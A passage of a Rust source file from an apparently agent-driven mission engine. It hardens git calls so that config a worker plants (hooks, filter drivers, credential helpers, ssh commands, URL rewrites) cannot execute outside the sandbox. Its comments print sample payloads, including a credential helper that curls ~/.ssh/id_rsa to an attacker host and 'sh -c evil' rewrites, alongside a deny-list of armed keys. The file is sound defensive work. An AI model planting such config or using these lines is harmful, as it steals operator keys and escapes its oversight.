kranz_engine/git_ops.rs
1//! Git operations for mission branches (plan §4.4 — git is the source of truth).
2//!
3//! Every operation shells out to the `git` binary with an explicit argument
4//! vector (never a shell string, §9) and runs synchronously with the repo
5//! root as the working directory. Callers on async paths wrap calls in
6//! `tokio::task::spawn_blocking`.
7//!
8//! All failures surface as [`EngineError::Git`] with the command context and
9//! whatever git printed, so mission logs show *why* a git step failed.
10
11use crate::error::{EngineError, Result};
12use crate::scrub;
13use crate::types::TokenUsage;
14use std::ffi::OsString;
15use std::path::{Path, PathBuf};
16use std::process::{Command, Output, Stdio};
17
18#[path = "git_process.rs"]
19pub(crate) mod process;
20
21/// One commit in a [`GitRepo::commits_between`] listing.
22#[derive(Debug, Clone, PartialEq, Eq)]
23pub struct CommitInfo {
24 /// Full commit sha.
25 pub sha: String,
26 /// First line of the commit message.
27 pub subject: String,
28}
29
30/// The commit that introduced a path, from [`GitRepo::commit_that_added`].
31#[derive(Debug, Clone, PartialEq, Eq)]
32pub struct AddedCommit {
33 /// Full commit sha.
34 pub sha: String,
35 /// First line of the commit message.
36 pub subject: String,
37 /// The message body after the subject (carries the trailer block).
38 pub body: String,
39}
40
41/// Mission facts attached to kranz-authored durable commits as git trailers.
42#[derive(Debug, Clone, PartialEq)]
43pub struct KranzCommitMetadata {
44 pub mission_id: String,
45 pub cost_usd: f64,
46 pub tokens: TokenUsage,
47}
48
49/// Append-only git trailers for mission attribution and actual cost.
50pub fn kranz_commit_trailers(metadata: &KranzCommitMetadata) -> String {
51 format!(
52 "Kranz-Mission: {}\nKranz-Cost-USD: {:.4}\nKranz-Tokens-Input: {}\nKranz-Tokens-Output: {}\nKranz-Tokens-Cache-Read: {}\nKranz-Tokens-Cache-Write: {}",
53 metadata.mission_id,
54 metadata.cost_usd,
55 metadata.tokens.input,
56 metadata.tokens.output,
57 metadata.tokens.cache_read,
58 metadata.tokens.cache_write,
59 )
60}
61
62/// Commit message with kranz trailers separated in the standard trailer block.
63pub fn with_kranz_trailers(subject: &str, metadata: &KranzCommitMetadata) -> String {
64 format!("{subject}\n\n{}", kranz_commit_trailers(metadata))
65}
66
67/// Outcome of a [`GitRepo::merge_no_ff`] into the current branch (roadmap M3).
68///
69/// A `Conflict` merge is always rolled back with `git merge --abort` before it
70/// is returned, so the working tree is left clean either way — the caller never
71/// has to clean up a half-merged tree. A `RefusedPreMerge` failure never had a
72/// merge in progress (no `MERGE_HEAD`), so no abort is attempted — there is
73/// nothing to roll back.
74#[derive(Debug, Clone, PartialEq, Eq)]
75pub enum MergeOutcome {
76 /// The branch merged cleanly; the merge commit is on the current branch.
77 Clean,
78 /// The merge hit conflicts and was aborted. `files` lists the conflicting
79 /// paths git reported (best-effort; empty when git named none).
80 Conflict { files: Vec<String> },
81 /// Git refused the merge before it started (no `MERGE_HEAD` was ever
82 /// created) — e.g. an untracked file at a path the merge would bring in.
83 /// `detail` is git's verbatim stderr/stdout for the failed merge command.
84 /// No `git merge --abort` is attempted, since there is no merge in
85 /// progress to abort.
86 RefusedPreMerge { detail: String },
87}
88
89/// Outcome of a scoped engine checkpoint commit ([`GitRepo::commit_dirty_paths`]).
90///
91/// The pre-commit secret scan refusing a checkpoint is a POLICY decision, not
92/// a git failure, so it is an outcome (mirroring [`MergeOutcome`]) rather than
93/// an [`EngineError::Git`]: callers on the mission loop must be able to record
94/// the refusal and keep the mission moving — a dirty tree survives resume, so
95/// a propagated refusal would wedge the mission re-hitting the same error
96/// forever. Real git failures still surface as `Err`.
97#[derive(Debug, Clone, PartialEq, Eq)]
98pub enum CheckpointOutcome {
99 /// The checkpoint landed (or the tree was already clean); carries the
100 /// resulting head sha.
101 Committed(String),
102 /// The secret scan refused the checkpoint. `detail` names the findings
103 /// (rule ids + fingerprints, never raw secret bytes) and the allowlist
104 /// path for a reviewed waiver. Nothing was staged or committed.
105 RefusedBySecretScan { detail: String },
106}
107
108/// One entry of a recursive tree listing ([`GitRepo::ls_tree_recursive`]):
109/// the git file mode (`100644`/`100755` regular blob, `120000` symlink,
110/// `160000` submodule commit), the object kind (`blob`/`commit`), the blob
111/// size in bytes (`None` for non-blobs), and the repo-relative path.
112#[derive(Debug, Clone, PartialEq, Eq)]
113pub struct TreeEntry {
114 pub mode: String,
115 pub kind: String,
116 pub size: Option<u64>,
117 pub path: String,
118}
119
120/// Handle to a local git repository rooted at a working-tree directory.
121#[derive(Debug, Clone)]
122pub struct GitRepo {
123 root: PathBuf,
124 /// `Some(argv)` when every git invocation from this handle must run with
125 /// executable configuration disabled (see [`GitRepo::with_hooks_disabled`]):
126 /// the initial `-c key=value` argv segment. Each local command reads the
127 /// current driver names again and refuses newly armed names before it
128 /// runs. `None` keeps the repo's executable config —
129 /// worker-side git behavior is deliberately unchanged.
130 exec_disable_flags: Option<Vec<String>>,
131}
132
133#[derive(Default)]
134struct ConfiguredDrivers {
135 filters: std::collections::BTreeSet<String>,
136 merges: std::collections::BTreeSet<String>,
137 remotes: std::collections::BTreeSet<String>,
138}
139
140/// An EMPTY REGULAR FILE this process owns, for `GIT_CONFIG_GLOBAL`.
141///
142/// The obvious spelling is the null device (`/dev/null`, `NUL` on Windows),
143/// and that is what this was. It was never verified that Git for Windows
144/// accepts `NUL` as a config path: Git resolves config paths through its own
145/// POSIX-ish layer, and if it errors instead of reading an empty file then
146/// EVERY engine git call fails on Windows — a total break, not a degrade
147/// (audit 2026-09-01 F-12). An empty file the engine creates itself has no
148/// platform-specific device semantics to get wrong, and it is testable: the
149/// test can stat it.
150///
151/// Created once per process, lazily, on the first hardened invocation:
152/// a randomly named 0700 directory in the system temp dir (`create_dir`
153/// refuses an existing path, so an attacker cannot pre-seat it), holding one
154/// `create_new` 0600 file. `create_new` is what makes the create a claim
155/// rather than a truncate — it fails on a symlink and on any pre-existing
156/// entry, so this can never end up pointed at the operator's real
157/// `~/.gitconfig`.
158///
159/// Failure to create it is a REFUSAL, not a fallback: an invocation that
160/// cannot null the user scope would silently read whatever `~/.gitconfig`
161/// arms, which is the surface this exists to close.
162///
163/// Residual: the directory outlives the process (a static has no `Drop`), so
164/// a long-running host accumulates one empty 4KB directory per kranz process.
165/// Cheap, and the alternative — a predictable reusable path — trades that for
166/// a pre-seating race.
167pub(crate) fn empty_global_config_path() -> Result<&'static Path> {
168 static PATH: std::sync::OnceLock<std::result::Result<PathBuf, String>> =
169 std::sync::OnceLock::new();
170 match PATH.get_or_init(create_empty_global_config) {
171 Ok(path) => Ok(path.as_path()),
172 Err(detail) => Err(EngineError::Git(format!(
173 "refusing to run git without a neutralized user config: {detail}"
174 ))),
175 }
176}
177
178fn create_empty_global_config() -> std::result::Result<PathBuf, String> {
179 let dir = std::env::temp_dir().join(format!("kranz-gitconfig-{}", uuid::Uuid::new_v4()));
180 // Built in a block so the binding is `mut` only where a mode is set;
181 // on Windows the `mut` was an unused_mut error under `-D warnings`.
182 let builder = {
183 #[allow(unused_mut)]
184 let mut builder = std::fs::DirBuilder::new();
185 #[cfg(unix)]
186 {
187 use std::os::unix::fs::DirBuilderExt as _;
188 builder.mode(0o700);
189 }
190 builder
191 };
192 builder
193 .create(&dir)
194 .map_err(|e| format!("cannot create {}: {e}", dir.display()))?;
195 let path = dir.join("gitconfig");
196 let mut options = std::fs::OpenOptions::new();
197 options.write(true).create_new(true);
198 #[cfg(unix)]
199 {
200 use std::os::unix::fs::OpenOptionsExt as _;
201 options.mode(0o600);
202 }
203 options
204 .open(&path)
205 .map_err(|e| format!("cannot create {}: {e}", path.display()))?;
206 Ok(path)
207}
208
209/// Which config scopes one hardened git invocation reads.
210///
211/// [`UserConfig::Ignored`] is the rule for LOCAL operations (status, add,
212/// commit, checkout, merge, diff, log, worktree): they never contact a
213/// remote, so nothing the operator's `~/.gitconfig` carries is load-bearing
214/// for them, and nulling it removes a whole class of executable config the
215/// enumerated `-c` segment cannot cover.
216///
217/// [`UserConfig::Visible`] exists for the identity reads
218/// ([`GitRepo::ensure_identity`], [`GitRepo::resolved_identity`]), whose
219/// whole job is to resolve the operator's `user.name` / `user.email` from
220/// wherever git would find them — nulling user config there would silently
221/// restamp every engine commit as `kranz <kranz@localhost>`. Those
222/// invocations still carry the `-c` segment, so reading a config value never
223/// executes one.
224///
225/// [`UserConfig::KeptForNetwork`] is for operations that DO contact a remote
226/// (`push`, `ls-remote`). Nulling the user scope there is a functional
227/// regression, not a hardening (audit 2026-09-01 F-11): `credential.helper`
228/// (osxkeychain / manager / gh) is where an https push gets its credential,
229/// `url.<base>.insteadOf` is a widespread operator convention, and
230/// `http.proxy` is how a corporate network is reached at all. So the network
231/// mode keeps the user scope in force and defends the same surface from the
232/// other side — see [`GitRepo::refuse_network_on_armed_local_config`], which
233/// refuses the operation outright when the REPOSITORY's own config (the
234/// scope a worker can write) carries any of those keys.
235#[derive(Debug, Clone, Copy, PartialEq, Eq)]
236enum UserConfig {
237 Ignored,
238 Visible,
239 KeptForNetwork,
240}
241
242/// The config-scope environment a hardened invocation applies.
243///
244/// The operator's `~/.gitconfig` and `/etc/gitconfig` are further sources of
245/// EXECUTABLE config (`core.hooksPath`, `gpg.program`, filter drivers) that
246/// the enumerated `-c` segment does not cover: the filter enumeration reads
247/// the repository's config, so a driver armed only in a user-scope file would
248/// not be in the list. Nulling both keeps the hardened handle's promise
249/// honest. The idiom mirrors `contract_lint::lint_env`, which does the same
250/// from the other side.
251///
252/// The system scope stays off in EVERY mode, network included:
253/// `/etc/gitconfig` is not where an operator's credential helper or proxy
254/// lives, and on a shared build host it is the one scope a mission host
255/// operator may not control.
256fn hardened_config_env(user_config: UserConfig) -> Result<Vec<(&'static str, OsString)>> {
257 Ok(match user_config {
258 UserConfig::Ignored => vec![
259 ("GIT_CONFIG_NOSYSTEM", OsString::from("1")),
260 (
261 "GIT_CONFIG_GLOBAL",
262 empty_global_config_path()?.as_os_str().to_os_string(),
263 ),
264 ],
265 // GIT_CONFIG_GLOBAL is deliberately NOT set: the operator's
266 // ~/.gitconfig has to stay in force for the credential helper, the
267 // insteadOf rewrites and the proxy that make a push work at all.
268 UserConfig::KeptForNetwork => vec![("GIT_CONFIG_NOSYSTEM", OsString::from("1"))],
269 UserConfig::Visible => Vec::new(),
270 })
271}
272
273/// Local Git has no reason to receive the host's API keys or transport
274/// credentials. Keep process bootstrap, explicit commit identity, and Git's
275/// repository/index selectors, which callers may use for isolated operations.
276/// Identity-only config reads additionally retain the operator's config paths.
277fn clear_local_git_env(cmd: &mut Command, user_config: UserConfig) {
278 const KEEP: &[&str] = &[
279 "PATH",
280 "HOME",
281 "USERPROFILE",
282 "TMPDIR",
283 "TMP",
284 "TEMP",
285 "LANG",
286 "LC_ALL",
287 "TZ",
288 "GIT_AUTHOR_NAME",
289 "GIT_AUTHOR_EMAIL",
290 "GIT_AUTHOR_DATE",
291 "GIT_COMMITTER_NAME",
292 "GIT_COMMITTER_EMAIL",
293 "GIT_COMMITTER_DATE",
294 "GIT_DIR",
295 "GIT_COMMON_DIR",
296 "GIT_WORK_TREE",
297 "GIT_INDEX_FILE",
298 "GIT_OBJECT_DIRECTORY",
299 "GIT_ALTERNATE_OBJECT_DIRECTORIES",
300 "GIT_CEILING_DIRECTORIES",
301 ];
302 cmd.env_clear();
303 for key in KEEP {
304 if let Some(value) = std::env::var_os(key) {
305 cmd.env(key, value);
306 }
307 }
308 if user_config == UserConfig::Visible {
309 for key in ["GIT_CONFIG_GLOBAL", "GIT_CONFIG_SYSTEM", "XDG_CONFIG_HOME"] {
310 if let Some(value) = std::env::var_os(key) {
311 cmd.env(key, value);
312 }
313 }
314 }
315 #[cfg(windows)]
316 {
317 let mut env = std::collections::HashMap::new();
318 crate::agent_env::extend_windows_process_env(&mut env);
319 cmd.envs(env);
320 }
321}
322
323/// git on Windows cannot parse VERBATIM paths (`\\?\C:\...`, which
324/// `std::fs::canonicalize` returns there — and the engine canonicalizes
325/// repo roots for the no-follow guards): `git worktree add //?/C:/...`
326/// fails with "Invalid argument". Strip the prefix when handing a path to
327/// git; a no-op off Windows and on non-verbatim paths. (`\\?\UNC\` shares
328/// are not collapsed — no mission root legitimately lives on one.)
329fn git_path_arg(path: &Path) -> PathBuf {
330 #[cfg(windows)]
331 {
332 let rendered = path.as_os_str().to_string_lossy();
333 if let Some(rest) = rendered.strip_prefix(r"\\?\") {
334 if !rest.starts_with("UNC") {
335 return PathBuf::from(rest);
336 }
337 }
338 }
339 path.to_path_buf()
340}
341
342impl GitRepo {
343 /// Open `root` as a git repository, HARDENED.
344 ///
345 /// Verifies `git rev-parse --git-dir` succeeds inside `root`; returns
346 /// [`EngineError::Git`] when `root` is not a repository (or git itself
347 /// cannot be invoked).
348 ///
349 /// Every invocation from the returned handle runs with executable git
350 /// configuration disabled — see [`Self::build_exec_disable_flags`] for
351 /// the flag set. This is the DEFAULT because engine-side git runs inside
352 /// the tree the worker controls (audit 2026-09-01 H3): the worker's
353 /// session cwd is the active tree, `.git` is inside its write allowlist,
354 /// and the engine's next checkpoint `git status` / `git add` /
355 /// `git commit` would otherwise execute a planted `pre-commit` hook,
356 /// `core.fsmonitor`, filter driver or `gpg.program` OUTSIDE every sandbox
357 /// with the engine's full ambient environment. Hardening was previously
358 /// opt-in and applied at five sites; the sixteen that did not opt in
359 /// (integration-worktree handle, checkpoint commits, checkout, tag,
360 /// `push_mission_branch`) were the hole.
361 ///
362 /// [`Self::open_unhardened`] is the explicit escape hatch for a caller
363 /// that genuinely needs the repository's own executable config.
364 pub fn open(root: impl Into<PathBuf>) -> Result<Self> {
365 let repo = GitRepo {
366 root: root.into(),
367 exec_disable_flags: None,
368 }
369 .with_hooks_disabled()?;
370 repo.verify_repository()?;
371 Ok(repo)
372 }
373
374 /// Open `root` as a git repository WITHOUT the executable-config
375 /// neutralization [`Self::open`] applies.
376 ///
377 /// There is no engine caller: it exists so a future one that genuinely
378 /// wants the repository's hooks (a deliberate "run the project's own
379 /// pre-commit" feature, say) has to say so at the open site rather than
380 /// getting it by forgetting to opt in. Do not use it on a tree an agent
381 /// can write.
382 pub fn open_unhardened(root: impl Into<PathBuf>) -> Result<Self> {
383 let repo = GitRepo {
384 root: root.into(),
385 exec_disable_flags: None,
386 };
387 repo.verify_repository()?;
388 Ok(repo)
389 }
390
391 fn verify_repository(&self) -> Result<()> {
392 let out = self.probe(&["rev-parse", "--git-dir"])?;
393 if out.status.success() {
394 Ok(())
395 } else {
396 Err(EngineError::Git(format!(
397 "not a git repository: {} ({})",
398 self.root.display(),
399 failure_detail(&out)
400 )))
401 }
402 }
403
404 /// The working-tree root this handle operates on.
405 pub fn root(&self) -> &Path {
406 &self.root
407 }
408
409 /// A handle to the same repository whose every git invocation runs with
410 /// executable configuration disabled (see [`Self::build_exec_disable_flags`]
411 /// for the exact flag set and the surfaces each entry neutralizes, 13th-pass
412 /// review P1 — the set previously stopped at `core.hooksPath=` +
413 /// `core.fsmonitor=` while this doc claimed "every executable surface",
414 /// leaving planted filter drivers and `gpg.program` executable).
415 ///
416 /// [`Self::open`] now returns a hardened handle already, so on an
417 /// ordinary handle this keeps the initial driver boundary (including
418 /// across clones). Each local invocation checks that boundary again;
419 /// re-wrapping must not authorize a driver introduced by a worker.
420 ///
421 /// The gated merge path uses this: its scratch worktree's gitdir points
422 /// into the primary `.git`, so mission-authored gate/test code can plant
423 /// executable config — which the merge's own checkout / merge / worktree
424 /// commands would then execute with the server's full inherited
425 /// environment, exactly the tokens the sanitized gate executor withholds.
426 /// The validator-integrity fingerprint runs on a verification handle for
427 /// the same reason: a validator that poisons `core.fsmonitor` must not
428 /// get its payload executed by the detection itself (4th-pass review —
429 /// detection previously ran `git status` BEFORE comparing config, so the
430 /// payload ran first). Opt-in per handle: worker-side git behavior is
431 /// deliberately unchanged.
432 ///
433 /// Building the handle enumerates the repo's configured filter and merge drivers;
434 /// an enumeration failure fails CLOSED (no handle) — a verification
435 /// handle that cannot name its armed drivers cannot promise the surface
436 /// is disabled.
437 pub fn with_hooks_disabled(&self) -> Result<GitRepo> {
438 if let Some(flags) = &self.exec_disable_flags {
439 // Preserve the original boundary; do not authorize new drivers.
440 return Ok(GitRepo {
441 root: self.root.clone(),
442 exec_disable_flags: Some(flags.clone()),
443 });
444 }
445 let mut hardened = GitRepo {
446 root: self.root.clone(),
447 exec_disable_flags: Some(Vec::new()),
448 };
449 hardened.exec_disable_flags = Some(hardened.build_exec_disable_flags()?);
450 Ok(hardened)
451 }
452
453 /// The complete `-c key=value` argv segment [`Self::probe_os`] prepends to
454 /// every git invocation of a verification handle, and WHY each entry
455 /// exists (13th-pass review, P1):
456 ///
457 /// - `core.hooksPath=` / `core.fsmonitor=` — the original pair: hook
458 /// lookup resolves to nothing and the fsmonitor hook `git status`
459 /// would otherwise run is off.
460 /// - `core.attributesFile=/dev/null` — the per-user attributes file is
461 /// replaced with the null device. HONEST SCOPE: this does NOT touch
462 /// the repo's own attribute sources — a checkout's `.gitattributes`
463 /// and `$GIT_DIR/info/attributes` are consulted regardless (probed
464 /// 2026-08-04: an armed `*.txt filter=evil` in a worktree
465 /// `.gitattributes` still fired its driver under this flag alone).
466 /// Those files are deliverable content that must keep staging
467 /// verbatim, so the armed-driver attack is closed config-side — see
468 /// the filter enumeration below.
469 /// - `filter.<name>.clean=` / `.smudge=` / `.process=` plus
470 /// `filter.<name>.required=false` for EVERY filter driver named in
471 /// the repo's config (any scope): `git add` runs an armed driver's
472 /// clean/process command with the engine's privileges. The names are
473 /// enumerated with `git config --get-regexp -z '^filter\.'` (a pure
474 /// config read — include.path expansion reads files, it never
475 /// executes), then each is overridden EMPTY on the command line,
476 /// which git honors as "no driver": the add stages the raw bytes
477 /// verbatim (probed 2026-08-04, dotted subsection names included).
478 /// - `commit.gpgSign=false` + `gpg.program=/bin/false` — belt and
479 /// braces: repo config can force signing on (`commit.gpgSign=true`)
480 /// and name a payload as the signer. The first flag turns signing
481 /// off; the second makes the payload inert even if a future caller
482 /// forces signing back on (`-S`). `/bin/false` is never resolved
483 /// unless signing actually runs.
484 ///
485 /// - `credential.helper=` — a repo-local
486 /// `helper = !sh -c 'curl -d @~/.ssh/id_rsa https://attacker/'` runs
487 /// the moment git needs a credential, with the engine's environment.
488 /// An EMPTY helper entry is git's documented list RESET (the `-c`
489 /// scope is read last, so it clears every helper configured before
490 /// it), not merely one more empty entry. That is also why this key is
491 /// dropped for network operations, where the operator's own helper is
492 /// the point — see [`UserConfig::KeptForNetwork`].
493 /// - `core.sshCommand=` — `[core] sshCommand = sh -c 'evil' --` is
494 /// executed by every git operation that opens an ssh transport.
495 /// Dropped for network operations: probed 2026-09-02, an empty
496 /// `core.sshCommand` does NOT fall back to `ssh`, it makes git try to
497 /// exec the empty string (`error: cannot run : No such file or
498 /// directory`), so carrying it would break every ssh remote.
499 /// - `core.askPass=` — same shape for the credential prompt. Safe to
500 /// carry on network operations: git skips an empty askpass and falls
501 /// back to the terminal rather than trying to exec it.
502 /// - `core.editor=` / `sequence.editor=` — the engine never wants an
503 /// editor (every commit is `-m`), so an armed one can only be a
504 /// payload waiting for a git command that would spawn it.
505 /// - `uploadpack.packObjectsHook=` — runs on the SERVING side of a
506 /// fetch. A worker that plants it turns "someone fetches from this
507 /// checkout" into code execution.
508 /// - `protocol.ext.allow=never` — `ext::` remote URLs execute their
509 /// argument as a command. This shuts the transport off rather than
510 /// trying to sanitize URLs.
511 /// - `remote.<name>.uploadpack=` / `.receivepack=` for every remote
512 /// named in the repo's config: both name a program git runs on the
513 /// far side, and a local remote (`/path/to/repo`) makes "far side"
514 /// mean this machine.
515 ///
516 /// ## `url.<base>.insteadOf` is REFUSED, not blanked
517 ///
518 /// The audit asked for enumerate-and-blank here too. Probed 2026-09-02,
519 /// blanking is worse than doing nothing: `insteadOf` is MULTI-VALUED, so
520 /// `-c url.<base>.insteadOf=` appends an entry rather than replacing the
521 /// planted one — the planted rewrite still fires — and the appended
522 /// entry is the EMPTY prefix, which `starts_with` matches against every
523 /// URL. On a repo with no rewrite at all, adding the blank turned
524 /// `https://github.com/foo/bar.git` into
525 /// `ext::sh -c evil %Shttps://github.com/foo/bar.git`. There is no
526 /// command-line spelling that unsets a config key, so the flag set
527 /// cannot neutralize this surface. Only operations that resolve a remote
528 /// URL consult it, and those all go through
529 /// [`Self::refuse_network_on_armed_local_config`], which refuses them.
530 ///
531 /// Verification diffs pass `--no-ext-diff --no-textconv`; custom merge
532 /// drivers fail closed. Worker-authored configuration must not execute
533 /// outside its sandbox during an engine diff or merge.
534 fn build_exec_disable_flags(&self) -> Result<Vec<String>> {
535 const BASE: &[&str] = &[
536 "core.hooksPath=",
537 "core.fsmonitor=",
538 "core.attributesFile=/dev/null",
539 "commit.gpgSign=false",
540 "gpg.program=/bin/false",
541 "merge.default=text",
542 CREDENTIAL_HELPER_RESET,
543 SSH_COMMAND_OVERRIDE,
544 "core.askPass=",
545 "core.editor=",
546 "sequence.editor=",
547 "uploadpack.packObjectsHook=",
548 "protocol.ext.allow=never",
549 ];
550 let mut flags = Vec::with_capacity(BASE.len() * 2 + 16);
551 for kv in BASE {
552 flags.push("-c".to_string());
553 flags.push((*kv).to_string());
554 }
555 let drivers = self.configured_drivers()?;
556 for name in &drivers.filters {
557 for sub in ["clean", "smudge", "process"] {
558 flags.push("-c".to_string());
559 flags.push(format!("filter.{name}.{sub}="));
560 }
561 flags.push("-c".to_string());
562 flags.push(format!("filter.{name}.required=false"));
563 }
564 for name in &drivers.merges {
565 flags.push("-c".to_string());
566 flags.push(format!("merge.{name}.driver=false"));
567 }
568 for name in &drivers.remotes {
569 for sub in ["uploadpack", "receivepack"] {
570 flags.push("-c".to_string());
571 flags.push(format!("remote.{name}.{sub}="));
572 }
573 }
574 Ok(flags)
575 }
576
577 /// One pure config read covers local, included and worktree config. It
578 /// carries no `-c` overrides, so it sees driver names as configured rather
579 /// than the names from the handle's previous defensive argv segment.
580 fn configured_drivers(&self) -> Result<ConfiguredDrivers> {
581 let out = self.spawn_git(
582 &[
583 "config",
584 "--no-includes",
585 "--name-only",
586 "--get-regexp",
587 "-z",
588 "^(filter|merge|remote|include|includeif)\\.",
589 ]
590 .iter()
591 .map(OsString::from)
592 .collect::<Vec<_>>(),
593 UserConfig::Ignored,
594 ExecFlags::None,
595 )?;
596 if !out.status.success() {
597 if out.status.code() == Some(1) {
598 return Ok(ConfiguredDrivers::default());
599 }
600 // Do not include config values (or a malformed source line) in
601 // the refusal: repository config can contain credentials.
602 return Err(EngineError::Git(format!(
603 "refusing git operation: cannot enumerate executable repository configuration ({})",
604 out.status
605 )));
606 }
607 let stdout = std::str::from_utf8(&out.stdout).map_err(|_| {
608 EngineError::Git("refusing git operation: repository configuration is not UTF-8".into())
609 })?;
610 let mut drivers = ConfiguredDrivers::default();
611 for key in stdout.split('\0').filter(|entry| !entry.is_empty()) {
612 // An ordinary include can point outside protected Git metadata,
613 // including into the worker's writable source tree. Protecting
614 // only config/config.worktree cannot pin that dependency graph.
615 if key == "include.path" {
616 return Err(EngineError::Git(
617 "refusing git operation: ordinary repository config includes cannot be protected; move repository settings into config or config.worktree".into(),
618 ));
619 }
620 let Some((section, rest)) = key.split_once('.') else {
621 continue;
622 };
623 let Some((name, subkey)) = rest.rsplit_once('.') else {
624 continue;
625 };
626 // A checkout/worktree command can activate an include in a child
627 // Git process after this read, without any concurrent writer.
628 // Refuse even currently inactive conditions: their future driver
629 // set cannot be pinned by enumerating the current context.
630 if section == "includeif" && subkey == "path" {
631 return Err(EngineError::Git(
632 "refusing git operation: conditional repository config includes cannot be safely overridden across branch or worktree changes"
633 .into(),
634 ));
635 }
636 if name.is_empty() {
637 continue;
638 }
639 let names = match section {
640 "filter" => &mut drivers.filters,
641 "merge" if subkey == "driver" => &mut drivers.merges,
642 "remote" if matches!(subkey, "uploadpack" | "receivepack") => &mut drivers.remotes,
643 _ => continue,
644 };
645 // `-c` splits at the first '='. Such a subsection cannot be
646 // overridden by key=value argv, and control bytes cannot safely
647 // appear in refusal diagnostics. Never silently skip either.
648 if name.contains('=') || name.chars().any(char::is_control) {
649 return Err(EngineError::Git(
650 "refusing git operation: repository driver name cannot be safely overridden"
651 .into(),
652 ));
653 }
654 names.insert(name.to_string());
655 }
656 Ok(drivers)
657 }
658
659 /// A worker may add a driver after this handle (or its clone) was opened.
660 /// Refuse those new names. Keep the original overrides even for removed
661 /// drivers, so removing and restoring a known name cannot disarm them.
662 /// The repository's config is never rewritten to enforce this boundary.
663 ///
664 /// Residual: this preflight is not a config snapshot. A hostile process
665 /// able to write git config concurrently can race the read and Git's own
666 /// later read. Clearing the local command environment reduces authority
667 /// in that case; enforced write-denies or filesystem virtualization are
668 /// needed to close the concurrent mutation race completely.
669 fn refuse_new_exec_configuration(&self, initial: &[String]) -> Result<()> {
670 let current = self.build_exec_disable_flags()?;
671 let known: std::collections::HashSet<&str> = initial
672 .as_chunks::<2>()
673 .0
674 .iter()
675 .map(|pair| pair[1].as_str())
676 .collect();
677 let unexpected: Vec<&str> = current
678 .as_chunks::<2>()
679 .0
680 .iter()
681 .map(|pair| pair[1].as_str())
682 .filter(|entry| !known.contains(entry))
683 .filter_map(|entry| entry.split_once('=').map(|(key, _)| key))
684 .collect();
685 if !unexpected.is_empty() {
686 return Err(EngineError::Git(format!(
687 "refusing git operation: executable repository configuration changed after opening the handle: {}. Review the repository config before opening a new handle",
688 unexpected.join(", ")
689 )));
690 }
691 Ok(())
692 }
693
694 /// Refuse a NETWORK operation when the REPOSITORY's own config carries a
695 /// key that names a program, a credential source, or a URL rewrite.
696 ///
697 /// This is the network half of the H3 hardening, and the reason
698 /// [`UserConfig::KeptForNetwork`] can afford to leave the operator's
699 /// `~/.gitconfig` in force. The two scopes are not equally trusted:
700 /// `~/.gitconfig` is the operator's, while `<repo>/.git/config` is
701 /// inside the worker's write allowlist. A `credential.helper` or an
702 /// `ext::` rewrite appearing in the scope a worker controls is an ATTACK
703 /// SIGNAL, not a configuration to work around — so the push is refused
704 /// rather than sanitized, and the error names every offending key.
705 ///
706 /// Only keys are named, never values: a planted `http.proxy` or
707 /// `credential.<url>.username` can carry a secret, and the refusal goes
708 /// to mission logs.
709 ///
710 /// Failing to read the config is itself a refusal: a network operation
711 /// that cannot rule the repo scope out has not ruled it out.
712 fn refuse_network_on_armed_local_config(&self) -> Result<()> {
713 if self.exec_disable_flags.is_none() {
714 // An unhardened handle is the explicit escape hatch
715 // ([`Self::open_unhardened`]): it promises nothing, and this
716 // read could not tell the repo scope from the operator's anyway,
717 // because nothing is nulling the global scope for it.
718 return Ok(());
719 }
720 // Repository includes are unsupported even on the network path.
721 // Operator-global includes remain visible to the actual transport.
722 self.configured_drivers()?;
723 // Each pattern is matched against the key git prints, which lowercases
724 // the section and the final subkey but preserves a subsection's case
725 // (probed 2026-09-02) — hence `sshcommand`, `insteadof`.
726 const ARMED: &str = "^(credential\\.\
727 |core\\.sshcommand$\
728 |core\\.askpass$\
729 |core\\.gitproxy$\
730 |protocol\\.\
731 |http\\.(proxy|sslcainfo|sslcert|sslkey)$\
732 |url\\..*\\.(insteadof|pushinsteadof)$\
733 |remote\\..*\\.(uploadpack|receivepack)$)";
734 // Deliberately NOT `self.probe`: the handle's own `-c` segment sets
735 // `credential.helper=` and `protocol.ext.allow=never`, and
736 // `--get-regexp` would report those command-line values as matches
737 // and refuse every push. Nulling the global scope by env is what
738 // makes this read see exactly the repository's own config.
739 let out = self.spawn_git(
740 &["config", "--get-regexp", "-z", ARMED]
741 .iter()
742 .map(OsString::from)
743 .collect::<Vec<_>>(),
744 UserConfig::Ignored,
745 ExecFlags::None,
746 )?;
747 if !out.status.success() {
748 if out.status.code() == Some(1) {
749 // Exit 1 is "no matches": the repository scope is clean.
750 return Ok(());
751 }
752 return Err(EngineError::Git(format!(
753 "refusing a network git operation: cannot read this repository's \
754 own config to rule out a planted credential helper ({}): {}",
755 out.status,
756 failure_detail(&out)
757 )));
758 }
759 let stdout = String::from_utf8_lossy(&out.stdout);
760 let mut offenders = std::collections::BTreeSet::new();
761 for entry in stdout.split('\0') {
762 if entry.is_empty() {
763 continue;
764 }
765 offenders.insert(entry.split('\n').next().unwrap_or("").to_string());
766 }
767 if offenders.is_empty() {
768 return Ok(());
769 }
770 Err(EngineError::Git(format!(
771 "refusing a network git operation: this repository's own config sets \
772 {} — a credential helper, ssh command, URL rewrite or transport hook \
773 in the scope a worker can write is an attack signal, not a setting. \
774 Remove the key from .git/config (or .git/config.worktree) and re-run; \
775 the operator's own ~/.gitconfig is untouched and still in force.",
776 offenders.into_iter().collect::<Vec<_>>().join(", ")
777 )))
778 }
779
780 /// Sha of `HEAD` (`git rev-parse HEAD`).
781 pub fn head_sha(&self) -> Result<String> {
782 Ok(self.run(&["rev-parse", "HEAD"])?.trim().to_string())
783 }
784
785 /// The shared git directory (`.git` in a plain checkout, the MAIN repo's
786 /// git dir for a linked worktree) — where config, hooks, and refs live.
787 /// Relative `--git-common-dir` output resolves against the repo root.
788 pub fn git_common_dir(&self) -> Result<std::path::PathBuf> {
789 let out = self.run(&["rev-parse", "--git-common-dir"])?;
790 let path = std::path::PathBuf::from(out.trim());
791 Ok(if path.is_absolute() {
792 path
793 } else {
794 self.root.join(path)
795 })
796 }
797
798 /// Actual repository config inputs after include refusal. Used before an
799 /// enforced child starts; this read alone is not a concurrent-write guard.
800 pub(crate) fn config_protection_paths(&self) -> Result<(PathBuf, PathBuf, bool)> {
801 let common = self.git_common_dir()?;
802 let git_dir = PathBuf::from(self.run(&["rev-parse", "--git-dir"])?.trim());
803 let git_dir = if git_dir.is_absolute() {
804 git_dir
805 } else {
806 self.root.join(git_dir)
807 };
808 // The common config enables this scope. A key in config.worktree
809 // cannot hide that fact by overriding the effective query result.
810 let out = self.probe_os(&[
